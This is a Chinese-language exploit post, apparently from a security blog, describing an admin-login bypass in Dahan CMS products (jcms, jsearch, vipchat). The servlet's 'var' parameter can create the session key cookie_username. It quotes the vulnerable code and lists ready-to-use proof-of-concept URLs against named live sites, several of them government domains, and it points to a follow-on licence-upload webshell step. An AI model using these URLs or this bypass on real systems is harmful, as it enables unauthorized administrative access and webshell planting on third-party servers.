大汉网络0day通杀所有系统和版本

管理后台权限绕过,进入后台后轻松GetShell,
经验证通杀所有系统和版本,包括:jcms,jact,jsearch,vipchat,vc,xxgk等等。

Setup目录Session权限绕过:

代码分析 /jcms/setup/opr_licenceinfo.jsp :

  //获取Session中cookie_username的值,赋值给strUser 

 String strUser = (String)sessions.getAttribute("cookie_username");

 // 判断strUser值 是否为空?

 if( strUser == null || strUser.trim().length() == 0 ) {  

  out.println('请先登录!')

  return;

 }  //如果为空,则未登录,直接返回

// 如果不为空,说明已经登录

逆向java servlet 的代码 /VerifyCodeServlet

// 获取请求参数 var,赋值给 strVar 

 String strVar = Convert.getParameter(request, "var", ""); 

 if(strVar == null){ 

  request.getSession().setAttribute("COMPLAT", str_code); // 将随机码保存到SESSION中

 }else{

 // 如果 strVar 不为空的话,创建 strVar 为名称的 SESSION 值

  request.getSession().setAttribute(strVar, str_code); // 将随机码保存到SESSION中

 }

所以通过参数 var, 就可以控制SESSION的名称的创建

通过两个程序的分析,整理一下:

1. opr_licenceinfo.jsp需要一个SESSION cookie_username 不为空,就可以成功登录

2. /VerifyCodeServlet 可以 创建任意 SESSION的key值

所以两者配合,就可以构造成功登录了。
直接访问opr_licenceinfo.jsp 需要登录

http://www.zgzhijiang.gov.cn/jcms/setup/opr_licenceinfo.jsp
0
添加一个Session值 cookie_username

http://www.zgzhijiang.gov.cn/jcms/VerifyCodeServlet?var=cookie_username

1
然后再次访问/jcms/setup/opr_licenceinfo.jsp,成功登录。
2
Licence文件上传webshell漏洞,不演示了,参考:http://wooyun.org/bugs/wooyun-2010-052699

vipchat 的 POC:
http://sdds.gov.cn/vipchat/setup/
http://sdds.gov.cn/vipchat/VerifyCodeServlet?var=cookie_username
http://sdds.gov.cn/vipchat/setup/admin.jsp
3
jsearch 的 POC:
http://www.hyhjbh.com/jsearch/setup/
http://www.hyhjbh.com/jsearch/VerifyCodeServlet?var=cookie_username
http://www.hyhjbh.com/jsearch/setup/opr_licenceinfo.jsp

4

其他的大汉系统,就不一一罗列了,

这算是一个VerifyCodeServlet组件的逻辑漏洞吧,

大汉的所有系统都包含VerifyCodeServlet这个组件,用于生成验证码,

所以导致了所有系统的通杀,影响范围非常广了。

发表评论